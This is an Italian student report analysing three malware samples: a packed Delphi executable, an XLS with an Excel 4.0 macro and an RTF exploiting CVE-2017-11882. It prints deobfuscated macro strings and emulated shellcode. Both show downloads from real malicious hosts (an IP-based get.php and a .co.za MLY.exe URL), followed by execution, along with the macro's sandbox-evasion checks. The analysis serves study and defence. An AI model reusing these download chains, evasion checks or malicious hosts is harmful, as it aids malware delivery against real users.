Progetto Codice Malevolo

Antonio Panfili - VR477448, Sara Beschi - VR474098
Università degli studi di Verona
Ingegneria e scienze informatiche - LM-32/LM-18
antonio.panfili@studenti.univr.it, sara.beschi@studenti.univr.it

***Abstract*—L'aumento di attacchi informatici e l'alta percentuali di infezioni causate da file malevoli inviati via email attraverso campagne di phishing comporta anche un necessario miglioramento degli strumenti di analisi dei file e delle competenze degli analisti. Il seguente report descrive nel dettaglio, attraverso tecniche di analisi statica e dinamica, il comportamento di tre file malevoli con diversa estensione.**

***Index Terms*—malware, trojan, keylogger, file analysis, macro**

I. Introduzione

I file analizzati nel seguente report sono:

- malware.exe
  - md5: f173a6b6ff80ab994a60871009b35eb3
  - sha1: 7c3d06e7ecd756afc0fbaa8e3f875ecc473e2c3b
  - sha256: caaa20071d2693f278d88f78d33eeb4a12a548d0e4eff646a4ac304915361e10
  - imphash: 36f0bfec2a95b5dc1ce402e9a6332e04
  - file size (bytes): 695808
- maldoc1.xls
  - md5: 73aa1f3101fd1f949e3c75e27d89aa12
  - sha1: 54c0aa43d042af62d591d500bff111db7a32e420
  - sha256: d864b4da58253cba29a8106b0727e81852a181f3ac59ec7dfb9b9dee5931b7cc
  - file size (bytes): 97285
- maldoc2.doc
  - md5: 3a323aa356501b077b5686ecc4af6725
  - sha1: 52dbadafe3d975a6122fa31799ebf0caa60ef447
  - sha256: b98b7be0d7a4004a7e3f22e4061b35a56f825fdc3cba29248cf0500beca2523d
  - file size (bytes): 367718

Il report descrive l'analisi completa di un file dopo l'altro. Le analisi sono condotte eseguendo prima quella statica nel tentativo di osservare anomalie e trarre quanto meno delle supposizioni sul comportamento del file e successivamente quella dinamica per approfondire il controllo e confermare le eventuali supposizioni.

A. Strumentazione

Le analisi sono state eseguite su due Virtual Machine (VM) VirtualBox[1]:

- Malware:
  - OS: Windows 10 (64 bit)
  - RAM: 4096 MB
  - CPU: Intel(R) Core(TM) i7-7700HQ
- REMnux v7:
  - OS: Ubuntu 20.04 (64 bit)
  - RAM: 4096 MB
  - CPU: Intel(R) Core(TM) i7-7700HQ

[1]https://www.virtualbox.org

II. Malware.exe

A. Analisi Statica

L'analisi statica è stata condotta principalmente attraverso l'utilizzo del tool PeStudio (v9.18)[2].

L'eseguibile risulta compilato in data *Sat Jun 20 00:22:17 1992* con firma *BobSoft Mini Delphy -> Bob / BobSoft*[3] ed entropia pari a 7.169.
Tale dato è confermato anche utilizzando il software Exeinfo PE di A.S.L. (v0.0.6.5)[4].
Possiamo quindi affermare che il malware è impacchettato con *BobSoft Mini Delphy -> Bob / BobSoft* [8] [9]. Lo possiamo dedurre anche dall'entropia della sezione "rsrc" (superiore a 7) e dalla presenza di file nella sezione "rsrc": *Delphy, offset*.

1) Analisi delle sezioni: Scendendo in dettaglio nelle sezioni che compongono l'eseguibile evidenziamo alcune particolarità:

- Le sezioni "BSS" e "tls" risultano di dimensione pari a 0b.
- Le sezioni "BSS" e "tls" sono sezioni "virtualized".
- L'entropia della sezione "rsrc" risulta superiore a 7.0 (7.403).
- La sezione "rsrc" contiene dei file che risultato pacchettizzati con Delphi.
- Le sezioni "rdata", "rsrc", "rloc" sono sezioni "shareable".

2) Analisi delle funzioni: Continuando l'analisi delle funzioni importate dall'eseguibile notiamo la presenza di alcune funzioni potenzialmente pericolose se utilizzate per scopi malevoli:

- `FindFirstFileA` : ricerca il percorso di un file tramite parametro A.
- `GetCurrentThreadId` : ottiene l'identificativo del thread creato.

[2]https://www.winitor.com/download
[3]https://securityintelligence.com/news/threat-actors-use-delphi-packer-to-shield-binaries-from-malware-classification
[4]http://exeinfo.booomhost.com

- `GetKeyboardType` : ottiene il modello/tipo della tastiera in uso.
- `GetThreadLocale` : ottiene l'identificativo locale dello stato locale di chiamata del thread.
- `RaiseException` : genera un'eccezione nel thread chiamante.
- `WriteFile` : permette la scrittura di dati su file.

Oltre alle precedenti evidenziate da PeStudio come blacklisted, segnaliamo anche la presenza di `GetModuleFileNameA` , `GetModuleHandleA` , `GetProcAddress` , `LoadLibraryExA` , `VirtualAlloc` .

3) Analisi delle stringhe: Utilizzando la lista di stringhe presenti nell'eseguibile e fornita da PeStudio si nota la presenza di nomi di funzioni utilizzate come listener di eventi legati all'interfaccia grafica come `OnClick` , `OnKeyPress` . Sono presenti anche molti riferimenti a costrutti grafici tra cui bottoni, form, radio buttons e ad eventi da tastiera come `Shift` , `Enter` , `Space` , `Right` ... Si noti anche la presenza di una stringa alfanumerica che comprende tutti i numeri da 0 a 9 e tutte le lettere maiuscole dalla A alla Z. PeStudio evidenzia 41 stringhe blacklisted tra le quali i seguenti nomi di funzioni: `GetProcessId` , `GetMonitorInfo` , `GetCapture` , `GetKeyboardState` .

Utilizzando il software XORSearch (v1.11.4)[5] per la ricerca di stringhe contenenti urls, collegamenti ftp e ssh i risultati sono stati inconcludenti:

```
Found ROT 22 position 6ECF8:
HTTp.g81]z.....LyU2./..>..-.ER.5r.1y`T_$$..
    ......
Found ADD 04 position 6ECF8:
HTTp.g<1az.....LyU6.3..B..1.ER.9r.5ydTc((..
    .....
```

Ad attirare l'attenzione è anche la presenza di molteplici chiamate a funzione per la gestione di liste di icone (`ImageList_Create` , `ImageList_Write` ...) e bitmap (`CreateBitmap` , `CreateDIBitmap`). L'eseguibile sembrerebbe utilizzare la libreria **GraphicEx**[6] di Mike Lischke sviluppata per la gestione delle immagini in linguaggio Delphi[7]. Questa deduzione è fatta avendo trovato tra le stringhe la scritta `2001, 2002 Mike Lischke` .

B. Analisi Dinamica

L'analisi dinamica è stata condotta partendo con la registrazione del comportamento dell'eseguibile attraverso l'utilizzo dei software Regshot (v.1.9.0 x86 Unicode)[8] e Process Monitor (v.3.52)[9]. Attraverso l'analisi della registrazione dei primi 10 minuti di esecuzione del file malware.exe, abbiamo potuto notare la creazione di molteplici file con varie estensioni tra cui Object Description Language (ODL), LOG, Temporary file (TMP). Vengono inoltre letti e modificati svariati valori e chiavi di registro di sistema attraverso la creazione di molteplici thread.

TABLE I
SINTESI AZIONI COMPIUTE DAL FILE MALWARE.EXE

Operazione	Numero di occorrenze
Keys deleted	2
Keys added	5
Values added	12
Values modified	72
Files added	7
Files deleted	2
Files [attributes?] modified	73
Total changes	173

Nella lunga lista di modifiche ci sono numerose operazioni di creazione e modifica all'interno del percorso *C:\Users\malware\AppData\Local\Microsoft*.
Il dump completo dell'analisi eseguita attraverso il software Regshot è stato caricato nel repository https://github.com/Fantantonio/UNIVR-CM-2022-Project/blob/master/exe/exe_regshot.txt assieme ad altri documenti prodotti durante l'analisi dei tre file.
Attraverso la completa analisi del malware non si notano richieste con destinatari sospetti. Anche utilizzando sistemi di reverse engineering attraverso gli strumenti IDA[10], x32dbg[11] e Ghidra[12] non è stato individuato alcun Internet Protocol (IP) o URL. Tuttavia sono state riscontrate chiamate a funzioni `WriteFile` , `LoadStringA` , `MessageBoxA` , `GetModuleFileName` , `GetProcAddress` . Inoltre è stata notata la richiesta alla DLL UrlMon contenente la funzione `URLDownloadToFileA` che permetterebbe al file di contattare un URL remoto per scaricare file malevoli.
È probabile che le funzionalità malevole del software siano state offuscate e che il software sia in grado di annullare la sua esecuzione attraverso tecniche di anti debugging ed esecuzione in caso notasse software comunemente utilizzati per l'analisi di malware o il fatto di essere eseguito in un ambiente virtuale.

C. Conclusioni

Possiamo presumere, a conclusione dell'analisi statica, che il file eseguibile sia potenzialmente malevolo. Per prima cosa si noti come la data di compilazione risulti precedente all'uscita sul mercato dei requisiti minimi richiesti per l'esecuzione del software stesso. Modificare la data di compilazione del file per far si che non risulti un file nuovo è una tecnica utilizzata spesso dai cybercriminali. Il file inoltre importa funzioni necessarie alla gestione e modifica della memoria. L'eseguibile ha quindi la possibilità di creare, scrivere ed eliminare file, gestire processi e thread, registrare eventi da tastiera oltre che a catturare la schermata della macchina su cui è in esecuzione. La sola analisi statica non ci ha permesso di scoprire se l'eseguibile ha la possibilità

[5]https://github.com/DidierStevens/FalsePositives
[6]https://github.com/mike-lischke/GraphicEx
[7]https://www.embarcadero.com/products/delphi
[8]https://github.com/Seabreg/Regshot
[9]https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
[10]https://hex-rays.com/ida-free
[11]https://github.com/x64dbg/x64dbg
[12]https://ghidra-sre.org

di contattare un web server attraverso protocollo Hypertext Transfer Protocol (HTTP), Hypertext Transfer Protocol Secure (HTTPS), File Transfer Protocol (FTP) o Secure Shell Protocol (SSH) ma è possibile che parte del codice sia stato offuscato attraverso l'utilizzo di un algoritmo dedicato. Sono infatti state trovate stringhe di questo tipo: `0123456789ABCDEF` , `1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ` .
Oppure è possibile che tale codice sia contenuto nella sezione `rsrc` impacchettata con *BobSoft Mini Delphy -> Bob / BobSoft*. Tale sistema è diventato molto popolare ultimamente per impacchettare file malevoli sia perché facilita la runtime evasion quando eseguito in ambienti sandbox, sia perché sistemi come UPX[13], a confronto, non forniscono le stesse funzioni di evasione ma solo di compressione [1]. Il fatto che tale sezione sia impacchettata è confermato dal valore di entropia che risulta superiore a 7. L'analisi dinamica condotta su VM non ha prodotto risultati significativi così come l'analisi della rete tuttavia, facendo riferimento ai report di C2AE, Microsoft Sysinternals e Zenbox[14] pubblicati in riferimento allo stesso file (stesso hash code), il malware risulta comunicare con vari URL tra cui `mdx2893.3utilities.com` , `login.live.com` , `prda.aadg.msidentity.com` .
Sembrerebbe inoltre raggiungere persistenza scrivendo un file eseguibile/copiando sé stesso al seguente percorso *%APP-DATA%\appdata\sdfghj.exe* e sfruttando una vulnerabilità dei software Microsoft Office con il file .doc scaricato da uno dei domini sopra indicati. La stessa vulnerabilità che il file scaricato dal malware dovrebbe sfruttare è la stessa sfruttata dal malware analizzato nella sezione IV.

III. MALEDOC1.XLS

A. Analisi statica

L'analisi di anteprima del file *maldoc1.xls* eseguita con il comando:
`file maldoc1.xls`
conferma il fatto che il documento sia stato scritto con il software Microsoft Excel[15]:
`maldoc1.xls: Composite Document File V2 Document, Little Endian, 0s: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jul 2 16:46:44 2020, Last Saved Time/Date: Thu Jul 2 19:57:38 2020, Security: 0`

1) Analisi dei metadati: Utilizzando il software Exiftool (v12.16)[16] per ottenere i meta dati associati al file eseguendo il comando `exiftool maldoc1.xls` , si ottengono le informazioni riassunte in tabella II.

[13]https://upx.github.io
[14]https://www.virustotal.com/gui/file/caaa20071d2693f278d88f78d33eeb4a12a548d0e4eff646a4ac304915361e10/behavior/Zenbox
[15]https://www.microsoft.com/en-us/microsoft-365/excel?SilentAuth=1&wa=wsignin1.0
[16]https://exiftool.org

TABLE II
OUTPUT EXIFTOOL MALDOC1.XLS

Dato	Valore
File Size	95 KB
File Modification Date/Time	2022:05:30 14:18:20-04:00
File Access Date/Time	2022:06:17 09:44:15-04:00
File Access Inode Change Date/Time	2022:06:17 09:43:17-04:00
File Type	XLS
MIME Type	application/vnd.ms-excel
App Version	16.0000
Heading Pairs	Worksheets, 1, Excel 4.0 Macros, 1

2) Analisi delle stringhe: L'analisi delle stringhe con il comando `strings` produce un output poco significativo. Si riesce ad individuare solamente un link paint.net che attualmente risulta in vendita sul provider GoDaddy[17] ed a due stringhe contenenti alcuni caratteri speciali, numeri e lettere maiuscole e minuscole dalla "C" alla "Z" (vedi figura 1).

```
paint.net 4.2.12
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
      #3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
```

Fig. 1. Output comando strings su file maldoc1.xls.

3) Analisi dei pattern: L'analisi dei pattern è stata condotta con Yara (v4.0.2).
Tuttavia il comando:
`yara -w -f -e -s -g index.yar maldoc1.xls`
non produce alcun output.

4) Oletools e De-offuscamento: Il comando `oleid maldoc1.xls` conferma che il file è di tipo Object Linking and Embedding (OLE) ed in particolare "Microsoft Excel".
Sembrerebbe tuttavia che non contenesse delle macro dato che il tool, alla voce corrispondente, ritorna False. Allo stesso modo anche lo script oledump.py non rileva alcuna macro ritornando l'output:
`1: 4096 '\x05DocumentSummaryInformation'`
`2: 4096 '\x05SummaryInformation'`
`3: 86562 'Workbook'`
Inoltre risulta sospetto che il comando `oletime maldoc1.xls` non riesca a fornire alcuna informazione utile.
L'esecuzione del comando `olevba maldoc1.xls` fornisce però dei dettagli riguardo la presenza di stringhe offuscate in esadecimale e Base64[18] oltre che della keyword Windows potenzialmente malevola dato che può essere utilizzata per elencare le finestre dell'applicazione se combinata con l'oggetto Shell.Application e della keyword Auto_Open che permette l'esecuzione di codice all'apertura del Workbook Excel.

[17]https://whois.domaintools.com/paint.net
[18]https://developer.mozilla.org/en-US/docs/Glossary/Base64

B. Analisi dinamica

1) Analisi di rete: Per l'esecuzione dell'analisi di rete, è stata utilizzata anche in questo caso la VM REMnux con il software Wireshark (v.3.4.9)[19] in ascolto sulla rete interna alla quale sono state connesse le due VM.
Aprendo il documento sia con il software LibreOffice (v7.3)[20] che con OpenOffice (v4.1.12)[21] che con Microsoft Excel, tutti con attivata l'impostazione di esecuzione automatica delle macro, non è stata rilevata alcuna richiesta ad indirizzi IP sospetti.

C. Analisi della macro

Tuttavia, aprendo il documento con il software Microsoft Excel, anch'esso configurato per permettere l'esecuzione di macro Visual Basic for Applications (VBA) ed Excel 4.0, si riscontra la presenza di un "WorkBook" nominato "VR" contenente una macro Excel 4.0 (scritta nel linguaggio di scripting Excel Macro Language (XLM) di Microsoft[22]). Usando i seguenti comandi via PowerShell, eseguita come amministratore:

```
$XLSPath = 'C:\Users\TestUser\Desktop\maldoc1.xls'

# Carica la classe Excel COM che permette di ispezionare lo spreadsheet
$Excel = New-Object -ComObject 'Excel.Application'

# Apre lo spreadsheet sospetto
$WorkBook = $Excel.Workbooks.Open($XLSPath)

# Controlla la presenza di pagine contenenti macro Excel 4.
$WorkBook.Excel4MacroSheets

# Estrae la pagina con macro Excel 4 trovata con il nome "VR".
$Excel4MacroSheet = $WorkBook.Excel4MacroSheets.Item('VR')

# Il codice  sparso tra le centinaia di migliaia di celle della pagina. "11" corrisponde all'ultima cella.
$LastCell = $Excel4MacroSheet.Cells.SpecialCells(11)

# Ottiene le celle tra le quali  contenuto codice
$AllUsedCells = $Excel4MacroSheet.Range($Excel4MacroSheet.Cells(1,1), $LastCell)

# Con solo le celle contenenti formule
$CellArray = New-Object -TypeName 'System.Collections.Generic.List'1[Object]'

# Estrae solo le celle contenenti formule (iniziano con "=" nel linguaggio XLM)
$PopulatedCell = $AllUsedCells.Find('=*')

# Salva riga/colonna della prima cella trovata  da interrompere il loop seguente
$FirstRow = $PopulatedCell.Row
$FirstColumn = $PopulatedCell.Column

# Trova tutte le celle con formule definite
do {
  $CellArray.Add($PopulatedCell)
  $PopulatedCell = $PopulatedCell.Find('=*')
} while (-not (($PopulatedCell.Row -eq $FirstRow) -and ($PopulatedCell.Column -eq $FirstColumn)))

# Estrae e visualizza il nome della prima cella che eseguita
$AutoOpenCell = $CellArray | ? { $_.Name -and $_.Name.Name.StartsWith('Auto') }
$AutoOpenCell.Name.Name

# Visualizza la posizione della funzione AutoOpen e chiude il file
$AutoOpenCell.Row
$AutoOpenCell.Column
$WorkBook.Close()
$Excel.Quit()
```
[23]

è stato possibile trovare la posizione della funzione `AutoOpen` (riga: 57255, colonna: 98) che non è stato possibile ottenere attraverso la funzione di Excel (*Ctrl+G*).
Analizzando la macro con il blocco di esecuzione attivo, si è notata la presenza di alcune condizioni di controllo anti debugging:

```
=APP.MAXIMIZE()
=IF(GET.WINDOW(7),$BU$1047(),)
=IF(GET.WINDOW(20)„$BU$1047())
=IF(GET.WINDOW(23)<3,$BU$1047(),)
=IF(GET.WORKSPACE(31),$BU$1047(),)
=IF(GET.WORKSPACE(13)<770,$BU$1047(),)
=IF(GET.WORKSPACE(14)<380,$BU$1047(),)
=IF(GET.WORKSPACE(19)„$BU$1047())
=IF(GET.WORKSPACE(42)„$BU$1047())
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1)))„$BU$1047())
=$FB$48599()
```

La funzione `GET.WORKSPACE(31)` , per esempio, ritorna il valore booleano corrispondente all'esecuzione della macro in "single step mode".
Sostituendo alla seconda riga la funzione `=HALT` , è stato possibile abilitare l'esecuzione della macro facendola terminare istantaneamente potendo così eseguire il debug con le funzionalità messe a disposizione da Excel stesso.

[19]https://www.wireshark.org
[20]https://www.libreoffice.org
[21]https://www.openoffice.org
[22]https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
[23]https://gist.github.com/mattifestation/15bd6bbb26becb2e49461400e7bd8c92

Attraverso l'attività di debug si è notata il calcolo di valori numerici poi trasformati nel corrispondente carattere ASCII dalla funzione `=RETURN(CHAR(FaQHVfOOBnOkx-266` (riga: 42670, colonna: IB) utilizzati per la generazione di stringhe in runtime.
La macro originale termina con il comando `=HALT` (riga: 57269, colonna: CT). Spostando tale comando più in basso ed inserendo dei comandi:

```
=SET.VALUE($A$1, CWMDR)
=SET.VALUE($A$2, yzgnGOEj)
=SET.VALUE($A$3, HhEQfMd)
=SET.VALUE($A$4, DLYzU)
=SET.VALUE($A$5, hxCEvVk)
=SET.VALUE($A$6, abZePIP)
=SET.VALUE($A$7, NQTLky)
=SET.VALUE($A$8, SlfVB)
=SET.VALUE($A$9, wToNT)
=SET.VALUE($A$10, xtGWl)
=SET.VALUE($A$11, nzQRm)
=SET.VALUE($A$12, dDfKI)
=SET.VALUE($A$13, hMZYor)
=SET.VALUE($A$14, wXJZcfXwZ)
=SET.VALUE($A$15, UsLXL)
=SET.VALUE($A$16, BXvnj)
=SET.VALUE($A$17, SsrIxBsR)
=SET.VALUE($A$18, FPKmD)
=SET.VALUE($A$19, uoHpNwHNJ)
=SET.VALUE($A$20, wehCeiwHc)
=SET.VALUE($A$21, HjoCN)
=SET.VALUE($A$22, tmtYlkB)
=SET.VALUE($A$23, yKEWT)
=SET.VALUE($A$24, BZROZ)
```

nelle righe prima, sfruttando l'esecuzione riga per riga dello script, è stato possibile salvare nelle prime righe i valori generati in runtime.
Le variabili di cui si è salvato il valore sono state trovate cercando tutte le stringhe contenenti `=""` questo perché si è notato attraverso la fase di debug che vengono utilizzate variabili inizializzate a stringa vuota per il salvataggio delle stringhe generate a runtime.
Utilizzando i comandi PowerShell precedente con le opportune modifiche è stato possibile scaricare con il comando `$CellArray.Formula | Out-File Excel4Deobfuscated.txt` tutte le celle non vuote del file XLS.
Le stringhe generate a runtime sono:

```
CreateDirectoryA
Kernel32
JJCCCCJ
C:\JrreRsP\bpXoaeE
GLTIowxv
ShellExecuteA
URLMON
Open
DownloadFile
SeHaGdvV
JCJ
QLMKPzHO
C:\JrreRsP
INSENG
Shell32
rundll32.exe
JJCCJJ
http://5.182.210.133/get.php
URLDownloadToFileA
C:\JrreRsP\bpXoaeE\yujEtky.exe
regsvr32.exe
BCCJ
VanyTgUG
C:\JrreRsP\bpXoaeE\yujEtky.exe
```

Tra loro sono presenti l'url:
`http://5.182.210.133/get.php` , dei percorsi a cartelle nel disco "C:", dei nomi di eseguibili, delle chiamate alle Windows Application Programming Interface (API) tra cui la `URLDownloadToFile` che permette il download di bits da internet ed il salvataggio su file[24], ed a funzioni di varie DLL.
Eseguendo ora l'analisi di rete ed analizzando l'output del programma RegShot, utilizzando il file modificato e lanciando la macro dopo i controlli descritti sopra, otteniamo la conferma della creazione del file *C:\JrreRsP\bpXoaeE\yujEtky.exe*, della modifica ed aggiunta di vari valori e chiavi nei registri di sistema e del tentativo di comunicazione attraverso protocollo HTTP con l'indirizzo IP *5.182.210.133* eseguendo una richiesta GET alla pagina *get.php*.

D. Conclusioni

Avendo scoperto l'utilizzo della funzione `UrlDownload ToFile` ed avendo rilevato traffico TCP e richieste HTTP di tipo GET, si può dire che il file, agendo con la tecnica di esecuzione "Exploitation for Client Execution"[25], sfrutti la vulnerabilità dei sistemi all'esecuzione di macro Excel 4.0 per collegarsi ad un server esterno presumibilmente per scaricare altri file malevoli.
L'utilizzo delle macro Excel 4.0 permette l'esecuzione di codice malevolo all'apertura del file malevolo da parte del software di Microsoft ed è stato già utilizzato da vari attacchi noti [6] [7].

IV. MALDOC2.DOC

A. Analisi statica

Il primo comando utilizzato per l'analisi del file *maldoc2.doc* è:

```
file maldoc2.doc
```

Che ritorna una semplice anteprima:

```
maldoc2.doc: Rich Text Format data, version 1, unknown character set
```

da cui ci si accorge che l'estensione *.doc* non corrisponde al

[24]https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v=vs.85)
[25]https://attack.mitre.org/techniques/T1203

reale contenuto del file che risulta invece essere un *.rtf*.

1) Analisi dei metadati: Utilizzando il software Exiftool per ottenere i meta dati associati al file eseguendo il comando `exiftool maldoc2.doc` , si ottengono le informazioni riassunte in tabella III.

TABLE III
OUTPUT EXIFTOOL MALDOC2.DOC

Dato	Valore
File Size	359 KB
File Modification Date/Time	2022:05:30 14:04:42-04:00
File Access Date/Time	2022:06:15 09:55:27-04:00
File Access Inode Change Date/Time	2022:06:15 09:53:35-04:00
File Type	RTF
MIME Type	text/rtf
Warning	Unspecified RTF encoding. Will assume Latin

2) Analisi delle stringhe: L'analisi delle stringhe condotta con il comando `strings maldoc2.doc` risulta inconcludente; allo stesso modo cercando stringhe specifiche con il software xorsearch non si ottengono risultati significativi nemmeno con un reverse del file.

3) Analisi dei pattern: L'analisi basata sui pattern è eseguita attraverso l'utilizzo del software Yara e le regole presenti nel repository Yara-Rules[26].
L'output del comando:
`yara -m -w -s index.yar ../maldoc2.doc`
avvisa della possibile presenza di "shellcode" nel file:
`RTF_Shellcode [author="RSA-IR \342\200\223 Jared Greenhill", date="01/21/13", description="identifies RTF\'s with potential shellcode", filetype="RTF"] ../maldoc2.doc`

4) Oletools e De-offuscamento: Il secondo strumento utilizzato per valutare il potenziale malevolo del file è lo script oleid[27].
Il comando `oleid maldoc2.doc` conferma che il file non è di tipo Object Linking and Embedding (OLE) e quindi non è possibile utilizzare gli altri script di controllo oletools[28] sul file così com'è.
Il software ViperMonkey (v1.0.3)[29] conferma ulteriormente che il formato del file è l'RTF consigliando l'utilizzo dello script rtfobj[30].
Con il comando: `rtfdump.py maldoc2.doc` si ottengono varie posizioni in memoria contenenti potenzialmente oggetti OLE.
Estraendo l'oggetto 8:
`8 Level 3 c= 2 p=000001b0 l= 367282 h=367102; 367025 b= 0 O u= 0 \*\objdata`
`Name: b'eqUATIOn.3\x00' Size: 183508 md5: c61c0fb12927efee5b4f2ef6b0b7aef6 magic: 03edb2f1`
con il comando:
`rtfdump.py -s 8 -H maldoc2.doc -x > doc_rtfdump_hex.txt`
per analizzarlo nello specifico, ci si accorge che contiene i caratteri `D0 CF 5D E0` , molto simile alla firma `D0 CF 11 E0` del formato "Compound Binary File" di Microsoft utilizzato da molti oggetti OLE[31]. Tuttavia, non è la firma di un valido OLE file.
Con il comando:
`rtfobj -s maldoc2.doc -d dump`
Si possono ottenere però i dati grezzi, "raw data", che compongono l'oggetto.
Il file creato nella cartella dump corrisponde proprio all'oggetto OLE non ben formattato con index `000001BBh` .
Utilizzando il software scDbg[32] sul file maldoc2.doc alla ricerca di shellcode si ottengono 9 sezioni di cui il codice assembly esportato è:

```
401d3f 52 push edx
401d40 36BD145DDCC8 ss mov ebp,0xc8dc5d14
401d46 3F aas
401d47 59 pop ecx
401d48 29D1 sub ecx,edx
4034d0 794F jns 0x403521 vv
4034d2 849E8B9D74D9 test [esi-0x268b6275],bl
4034d8 8F8063EFD469 pop dword [eax+0x69d4ef63]
4034de db C5
4034df ED in eax,dx
403513 187C07E2 sbb [edi+eax-0x1e],bh
403517 13FB adc edi,ebx
403519 8996A3F51AD5 mov [esi-0x2ae50a5d],edx
40351f 57 push edi
403520 DD27 frstor [edi]
0 error accessing 0xffffffe2 not mapped
0 ???? No memory At Address step: 0 foffset: 0
eax=0 ecx=0 edx=0 ebx=0
esp=12fe00 ebp=12fff0 esi=0 edi=0 EFL 0
403517 13FB adc edi,ebx
403519 8996A3F51AD5 mov [esi-0x2ae50a5d],edx
40351f 57 push edi
403520 DD27 frstor [edi]
403522 96 xchg eax,esi
4034d0 794F jns 0x403521 vv step: 958092998 foffset: 24d0
eax=0 ecx=0 edx=0 ebx=0
esp=12fdfc ebp=12fff0 esi=0 edi=0 EFL 44 P Z (jump taken)
403519 8996A3F51AD5 mov [esi-0x2ae50a5d],edx
40351f 57 push edi
403520 DD27 frstor [edi]
403522 96 xchg eax,esi
403523 7DAB jnl 0x4034d0 ^^
```

[26]https://github.com/Yara-Rules/rules
[27]https://github.com/decalage2/oletools/wiki/oleid
[28]https://github.com/decalage2/oletools
[29]https://github.com/decalage2/ViperMonkey
[30]https://github.com/decalage2/oletools/blob/master/oletools/rtfobj.py
[31]https://www.garykessler.net/library/file_sigs.html
[32]http://sandsprite.com/blogs/index.php?uid=7&pid=152

```
40351d 1AD5 sbb dl,ch
403525 FA cli
403526 9B wait
403527 23F0 and esi,eax
403529 C02B1C shr byte [ebx],0x1c
40353e BE5E87F4A3 mov esi,0xa3f4875e
403543 50 push eax
403544 2D3B2CAF31 sub eax,0x31af2c3b
403549       C68FF4CA4D45F0       mov       byte
[edi+0x454dcaf4],0xf0
403550 643A77C2 cmp dh,fs:[edi-0x3e]
403550 error accessing 0x7ffdefc2 not mapped
403550  643A77C2  cmp  dh,fs:[edi-0x3e]  step:  4
foffset: 2550
eax=ce50d3c5 ecx=0 edx=0 ebx=0
esp=12fdfc ebp=12fff0 esi=a3f4875e edi=0 EFL 85 C
P S
403554 21C9 and ecx,ecx
403556 EBC8 jmp 0x403520 ^^
403558 DB17 fistl [edi]
40355a 46 inc esi
```

B. Analisi della macro

Il file quindi contiene dello shellcode ma ciò che è stato fatto fin qui non è sufficiente a definire il comportamento dello stesso. Per comprenderne il comportamento è necessario ottenere lo shellcode generato in runtime così da poter leggere chiaramente le chiamate a funzione effettuate durante l'esecuzione.
Utilizzando il comando `xorsearch -W maldoc2.raw` , per cercare "wildcards" all'interno del file di dati grezzi esportato in precedenza, si ottiene il seguente output:

```
Found XOR 00 position 0002C760: GetEIP method 3
E996000000
Found XOR 00 position 0002C912: GetEIP method 3
E9E4FEFFFF
Found ROT 02 position 0002C760: GetEIP method 3
E996000000
Found ROT 02 position 0002C912: GetEIP method 3
E9E4FEFFFF
Found ROT 01 position 0002C760: GetEIP method 3
E996000000
Found ROT 01 position 0002C912: GetEIP method 3
E9E4FEFFFF
Score: 60
```

Due XOR sono stati trovati agli indirizzi `2C760` e `2C912` . Utilizzando ora scDbg, con offset corrispondente alla posizione del primo XOR, eseguendo il comando:

```
scdbg /f maldoc2.raw /foff 2C760
```

si ottiene lo shellcode in chiaro:

```
Max Steps: 2000000
Using base offset: 0x401000
Execution starts at file offset 2c760
42d760 E996000000 jmp 0x42d7fb vv
42d765 E9DB020000 jmp 0x42da45 vv
42d76a EB0F jmp 0x42d77b vv
42d76c EB03 jmp 0x42d771 vv
42d76e 83623DE9 and dword [edx+0x3d],0xfffffe9

42dae0 GetProcAddress(ExpandEnvironmentStringsW)
42db15 ExpandEnvironmentStringsW(%APPDATA%\WRT.exe,
dst=12fad8, sz=104)
42db2a LoadLibraryW(UrlMon)
42db45 GetProcAddress(URLDownloadToFileW)
42dbb9 URLDownloadToFileW(http://yatesassociates.co
.za/documentato/MLY.exe, C:\Users\malware\AppData\R
oaming\WRT.exe)
42dbd5 GetProcAddress(WideCharToMultiByte)
42dbf3 WideCharToMultiByte(0,0,in=12fad8,sz=ffffff
f,out=12fcf4,sz=104,0,0) = 0
42dc03 GetProcAddress(WinExec)
42dc0f WinExec()
42dc23 GetProcAddress(ExitProcess)
42dc27 ExitProcess(0)

Stepcount 40909
```

Leggendo lo shellcode si nota facilmente come il malware tenti di accedere a DLL di sistema per sfruttare le loro funzioni così da contattare il server remoto `http://yatesassociates.co.za/documentato/MLY.exe` con l'obiettivo di scaricare un file eseguibile (*MLY.exe*) e salvarlo in *C:\Users\malware\AppData\Roaming\WRT.exe* raggiungendo, con tutta probabilità, persistenza sul sistema vittima.

C. Analisi dinamica

1) Analisi di rete: Eseguendo l'analisi di rete sia con il software FakeNet (v.1.4.3)[33] sia mettendo in comunicazione su intranet le due VM (Windows e Ubuntu) con INetSim (v.1.3.2)[34] per poi controllare il traffico di rete con il software Wireshark non si rilevano richieste sospette.
È probabile che il malware abbia un sistema di auto protezione per evitare l'esecuzione su determinati sistemi in mancanza di particolari specifiche o risultanti delle sandbox.

D. Conclusioni

Dall'analisi eseguita si può concludere che il file è malevolo e sfrutta la vulnerabilità nota **CVE-2017-11882**[35] (punteggio CVSS 3.1 di 7.8), nota anche come "Microsoft Office Memory Corruption Vulnerability", per sfruttare versioni specifiche di Microsoft Office (Service Pack 3, 2010 Service Pack 2, 2013 Service Pack 1 e Office 2016) per eseguire codice malevolo sul sistema vittima.
La vulnerabilità è causata da uno "stack buffer overflow" quando eqnedt32.exe, il componente dedito alla modifica delle formule, non controlla la lunghezza del nome del font della formula mentre legge i dati OLE contenenti "MathType" [3].

[33]https://sourceforge.net/projects/fakenet
[34]https://www.inetsim.org
[35]https://nvd.nist.gov/vuln/detail/CVE-2017-11882#vulnCurrentDescriptionTitle

Attacchi che sfruttano questa vulnerabilità sono sfruttati anche da malware noti come Agent Tesla [4] e Lokibot [5]. In questo caso il codice malevolo tenta di raggiungere persistenza sul sistema e comunicare con un server C2.

ACRONYMS

API	Application Programming Interface. 5
C2	Command and Control. 8
CPU	Central Processing Unit. 1
CVSS	Common Vulnerability Scoring System. 7
DLL	Dynamic-link library. 2, 5, 7
FTP	File Transfer Protocol. 3
